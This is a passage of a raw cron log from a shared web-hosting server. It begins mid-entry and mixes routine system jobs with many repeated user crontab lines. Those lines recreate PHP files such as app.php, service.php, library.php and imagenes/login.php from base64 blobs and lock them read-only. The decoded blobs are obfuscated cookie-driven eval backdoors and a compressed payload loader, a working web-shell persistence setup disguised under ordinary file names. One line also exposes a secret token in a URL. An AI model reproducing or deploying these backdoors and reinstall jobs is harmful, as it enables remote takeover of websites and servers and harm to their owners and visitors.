gPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:01:02 medusa CROND[24014]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:01:02 medusa CROND[24005]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 13:01:02 medusa CROND[24019]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:01:02 medusa run-parts(/etc/cron.hourly)[23981]: starting 0anacron
Mar  2 13:01:02 medusa run-parts(/etc/cron.hourly)[24053]: finished 0anacron
Mar  2 13:02:01 medusa CROND[6523]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:02:02 medusa CROND[6623]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:02:02 medusa CROND[6676]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 13:02:02 medusa CROND[6677]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:02:02 medusa CROND[6678]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 13:02:02 medusa CROND[6679]: (wmondolo) CMD (/usr/local/bin/php -q /home12/wmondolo/public_html/corrector.php > /dev/null)
Mar  2 13:02:02 medusa CROND[6682]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:02:02 medusa CROND[6687]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:02:02 medusa CROND[6690]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:02:02 medusa CROND[6691]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:02:02 medusa CROND[6692]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:02:02 medusa CROND[6689]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:02:02 medusa CROND[6711]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:02:02 medusa CROND[6717]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:03:02 medusa CROND[22615]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:03:02 medusa CROND[22616]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:03:02 medusa CROND[22618]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 13:03:02 medusa CROND[22619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:03:02 medusa CROND[22620]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:03:02 medusa CROND[22625]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:03:02 medusa CROND[22624]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:03:02 medusa CROND[22627]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:03:02 medusa CROND[22628]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:03:02 medusa CROND[22629]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:03:02 medusa CROND[22634]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:03:02 medusa CROND[22636]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:04:01 medusa CROND[6869]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:04:01 medusa CROND[6870]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
